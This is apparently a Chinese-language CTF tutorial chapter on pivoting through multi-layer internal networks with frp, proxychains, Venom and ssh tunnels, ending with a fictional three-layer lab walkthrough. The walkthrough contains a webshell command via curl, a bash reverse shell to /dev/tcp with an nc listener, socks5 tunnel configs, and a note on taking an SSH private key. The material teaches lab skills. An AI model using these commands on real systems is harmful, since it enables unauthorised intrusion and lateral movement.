多层网络综合

在真实的攻防对抗类 CTF(AWD、内网渗透模拟题)以及一些复杂场景的个人赛题中,靶机往往不是一台孤零零的 Web 服务器,而是一套多层网络:你拿到的入口机只能访问下一跳,下一跳又通向更深的网段。本章把「多层代理 + 多层路由」这件事讲清楚:怎么设计链路、怎么维护路由、链路不稳怎么办、常用工具怎么组合,最后用一道综合场景把全流程串一遍。

本章不涉及新的漏洞原理,默认你已经读过前面章节(如 SQL注入RCESSRF注入),这里解决的是「拿到入口之后怎么往里走」的问题。

多层代理链的架构设计

典型拓扑

一个三层内网通常长这样(文字版拓扑图):

攻击机 (本机)
   │  公网 / 赛题 VPN
边界机 DMZ      10.10.1.10   ← 你通过 Web 漏洞拿下的第一台机器
   │  内网网卡 192.168.10.1
跳板机 A        192.168.10.20 ── 第二张网卡 172.16.5.1
核心靶标 B      172.16.5.100  ← flag 在这里

关键点:攻击机到不了 192.168.10.0/24,更到不了 172.16.5.0/24。流量必须经由已被控制的机器一层层「接力」转发,这就是多层代理链。

什么时候串联,什么时候分层

  • 串联(链式代理):攻击机 → 边界机 → 跳板机 A → 靶标 B,流量顺序穿过每一跳。适用于网段是线性的、每一层只有一个入口的情况——绝大多数 CTF 场景就是这样。优点是配置简单,一条链打通即可;缺点是任何一跳断掉,整条链失效,且延迟逐跳叠加。
  • 分层(星型/树型):当你控制的多台机器处于同一网段、且都能直连下一层时,让每一台都作为下一层的入口,形成备份路径。例如边界机和跳板机 A 都能到靶标 B,就可以在边界机挂掉时改走 A。真实红队场景常见,CTF 里偶尔用于"某台容器会被定时重置"的赛题。

够用即止的原则:CTF 里默认串联,除非题目明确告诉你某台机器会周期性重置/掉线,才考虑分层备份。

正反两个方向

设计链路前先想清楚流量的发起方向:

  • 正向代理(forward):被控机器上监听一个端口,攻击机主动连过去。要求被控机器的端口可达(出网/入网至少一个方向通)。
  • 反向代理(reverse):被控机器主动回连攻击机的监听端口。当目标在内网、防火墙只放行出站流量时,只能用它。frp、Venom、nps 都基于这个思路。

经验法则:能正向就正向(简单、稳定),不行就反向。

跨网段路由的添加与维护

两条路线:路由表 vs 端口转发

进入新网段后,你有两种让攻击机访问内网资源的方式:

  1. 加路由(网络层):让攻击机的内核把目标网段的包交给隧道接口,像访问本地网络一样直接访问任意 IP:端口。代表工具:Venom 的 goto、chisel 的 socks+路由、sshuttle。
  2. 端口转发(传输层):把内网某个具体的 IP:端口 映射到本地端口,例如本地 127.0.0.1:8080172.16.5.100:80。代表工具:ssh -L、frp、chisel forward

取舍:

  • 目标明确(就是要打 172.16.5.100:80 这个 Web)→ 端口转发,配置一行,稳定省心。
  • 需要扫描整个网段、访问的端口不确定(先 nmap 扫一圈再说)→ Socks 代理 + proxychains,让工具流量整体走代理,不用为每个端口单独配转发。
  • 只有在需要 ping、需要双向 CIDR 级互通时才上真路由,CTF 里很少用到。

路由表的查看与添加

在被控机器上,第一件事永远是看路由和网卡,搞清楚「这台机器能看到哪些网段」:

# 查看网卡与地址
ip addr

# 查看路由表
ip route
route -n

# 快速探测内网存活主机(没有 nmap 时的土办法)
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.10.$i | grep "from"; done

在攻击机上给隧道加路由的典型命令(以 sshuttle 为例,它本质就是自动帮你维护路由):

# 通过边界机的 SSH,把 192.168.10.0/24 的流量全部走隧道
sshuttle -r user@10.10.1.10 192.168.10.0/24

手动加路由(Linux 下):

# 把 172.16.5.0/24 指向跳板机提供的网关
ip route add 172.16.5.0/24 via 192.168.10.1

维护:把凭据和拓扑记下来

多层环境里最容易翻车的是「自己都忘了链路怎么搭的」。建议随手维护一份笔记:

边界机  10.10.1.10   webshell: /uploads/shell.php   frpc -> vps:7000
跳板A   192.168.10.20  ssh user/Pass123   socks5 @ vps:1080
靶标B   172.16.5.100  web :80  (flag 所在)

每打通一跳就立刻记下来:IP、凭据、隧道端口、失效时间。比赛后期时间紧张时,这份笔记能救命。

链路稳定性问题

掉线重连

隧道进程会因为网络抖动、容器重启、连接超时而断开。应对措施:

  • 选择自带重连的工具:frp 客户端断开后会自动重连服务端;Venom 的 agent 也有重连机制。尽量让「重连」是工具的责任而不是你的。
  • 用守护方式跑隧道:在被控机上用 nohup + & 或写个简单的循环脚本:
# 简陋但有效的保活循环:进程退出就 5 秒后重启
while true; do
    ./frpc -c frpc.ini
    sleep 5
done
  • 心跳与超时参数:frp 的 heartbeat_intervallogin_fail_exit = false 等参数能显著降低「静默断链」的概率。

带宽与延迟

每多一跳,延迟叠加、带宽受限于最慢的一段。多层链路上要克制:

  • 不要在三层代理后面跑全端口 nmap -p- 扫描,先扫常见端口(-p 80,443,22,3306,8080)。
  • 传大文件(如把工具传进内网)优先走最短链路,能直接 scp 到跳板就不要经代理转发。
  • 扫描器调低并发:proxychains 后面线程开太高容易把隧道打满导致断链。比如 nmap--max-rate 500,目录扫描调低 -t

隧道协议选择

场景 推荐
有 SSH 权限 首选 ssh -L / -D,免装额外工具,加密且稳定
被控机只能出站 frp / nps / Venom 反向连接
需要穿透严格防火墙 考虑把流量封装进常见协议(如 WebSocket、DNS、ICMP),工具如 chisel、dnscat2、icmpsh
临时应急、机器上只有 python python -c 起简单的 socket 转发,够用即止

协议层面的取舍:TCP 隧道 稳定但易被识别和限速;WebSocket/HTTP 封装 兼容性好(能过多数出站代理);DNS/ICMP 带宽极低,只适合传命令和回显,不适合传文件。CTF 里 90% 的场景 frp 或 ssh 就够了,不要一开始就用花哨协议。

工具组合策略

常见组合对比

frp + proxychains(最常用):

  • frp 负责「把内网机器的 Socks5 服务暴露到攻击机/VPS」,proxychains 负责「让任意工具的流量走这个 Socks5」。
  • 分工清晰、资料多、配置文件直白;多层就一级一级套(见下文推演)。

Venom 多层

  • 一个二进制同时充当 admin 和 agent,自带 socksgoto(进入子网并自动管理路由)、lforward 等命令,多层节点用同一套工具管理,拓扑可视化。
  • 优点是「一个工具走天下」,不用在每台机器上换工具;缺点是二进制较大、需要上传到每一跳,且社区文档相对少。

ssh 全家桶

  • ssh -D 1080 user@边界机 起动态转发(Socks5),ssh -L 做端口映射,配合 ProxyJump 可以一条命令穿多跳:
# 一条命令穿过边界机和跳板机直连靶标的 80 端口
ssh -J user@10.10.1.10,user@192.168.10.20 -L 8080:172.16.5.100:80 user@172.16.5.100
  • 前提是你有每一跳的 SSH 凭据——在「翻文件找到密码」类的题目里非常顺。

选择策略:题目给了凭据 → ssh;只拿到 webshell/RCE → frp 或 Venom;需要管理三层以上拓扑 → Venom 省心。

综合场景推演

以下是完整的虚构场景推演,不需要真实环境,跟着读一遍即可建立完整手感。

题目背景

某 AWD 模拟赛题:入口是一个公网 Web 站点 http://target.ctf:8080,提示「内网深处有 flag」。拓扑就是本章开头的三层结构。

第一步:打点边界机

访问 http://target.ctf:8080,发现是登录页。按 SQL注入 章节的方法测试 username 参数,存在报错注入,注出管理员密码登录后台。后台有头像上传点,按 文件上传 章节的思路传 .phtml 绕过黑名单,拿到 webshell:

curl http://target.ctf:8080/uploads/shell.phtml?cmd=id
# uid=33(www-data) gid=33(www-data)

在 webshell 里侦察网络,发现双网卡:

curl "http://target.ctf:8080/uploads/shell.phtml?cmd=ip+addr"
# eth0: 10.10.1.10   eth1: 192.168.10.1

结论:这台是边界机,内网 192.168.10.0/24 在向我们招手。

第二步:建立第一层隧道(frp + proxychains)

攻击机(或有公网 IP 的 VPS)上准备 frps.ini

[common]
bind_port = 7000
./frps -c frps.ini

frpc 上传到边界机(webshell 里 wget 或 base64 写入均可),写 frpc.ini

[common]
server_addr = <你的VPS地址>
server_port = 7000
login_fail_exit = false

[socks5_web1]
type = tcp
remote_port = 1080
plugin = socks5
chmod +x frpc && nohup ./frpc -c frpc.ini &

现在 VPS 的 1080 端口就是一个「视角站在边界机上」的 Socks5 代理。本机配置 /etc/proxychains.conf

[ProxyList]
socks5 127.0.0.1 1080

验证并扫描内网:

proxychains curl http://192.168.10.20/
proxychains nmap -sT -Pn --max-rate 300 -p 22,80,3306 192.168.10.0/24

注意走 Socks 代理时 nmap 必须用 -sT(全连接扫描)并加 -Pn,因为代理不支持半开扫描和 ICMP。

第三步:拿下跳板机 A

扫到 192.168.10.20:80 有另一个 Web 服务,经代理访问发现存在命令执行(参考 RCE 章节),直接弹回一个 shell——但注意它出不了公网,只能把 shell 弹到边界机:

# 在边界机上监听(通过 webshell 执行)
nc -lvp 4444
# 在跳板机的 RCE 里执行
bash -i >& /dev/tcp/192.168.10.1/4444 0>&1

翻目录找到 config.php 里有数据库凭据,顺手发现 /home/admin/.ssh/id_rsa——拿到了通往第三层的钥匙。

第四步:第二层代理

在跳板机 A 上同样上传 frpc,连同一个 frps(新起一段配置,remote_port = 1081),这样 VPS 的 1081 就是「视角站在跳板机上」的 Socks5。proxychains 支持链式写法:

[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081

但更稳的做法是:既然有了 SSH 私钥,直接从第一层跳板 ProxyJump 进去,单层直连反而少一跳:

# 经由边界机 SSH 跳转,把靶标 B 的 80 端口映射到本地
proxychains scp -i id_rsa admin@192.168.10.20:/tmp/x .
ssh -i id_rsa -J user@10.10.1.10 -L 8080:172.16.5.100:80 admin@192.168.10.20 -N

打开浏览器访问 http://127.0.0.1:8080,看到最终靶标的 Web 页面,里面写着 flag{mUlti_L4y3r_n3tw0rk_m4st3r}

复盘:这道题教会我们什么

  • 每拿下一台机器,第一件事看 ip addr / ip route,判断还有没有下一层。
  • 隧道配置随手记录(IP、端口、凭据),三层以上全靠笔记活着。
  • Socks 代理后面用工具要注意:-sT-Pn、低并发。
  • 有凭据优先走 SSH,能少一跳就少一跳;webshell 场景再上 frp/Venom。
  • 链路越长的操作越要克制:先扫少量端口,确认有价值再深入。

多层网络没有新的漏洞,拼的是耐心和条理。把单台机器的攻防(前面各章节)练熟,再按本章的流程一层层接力,再深的内网也只是时间问题。

评论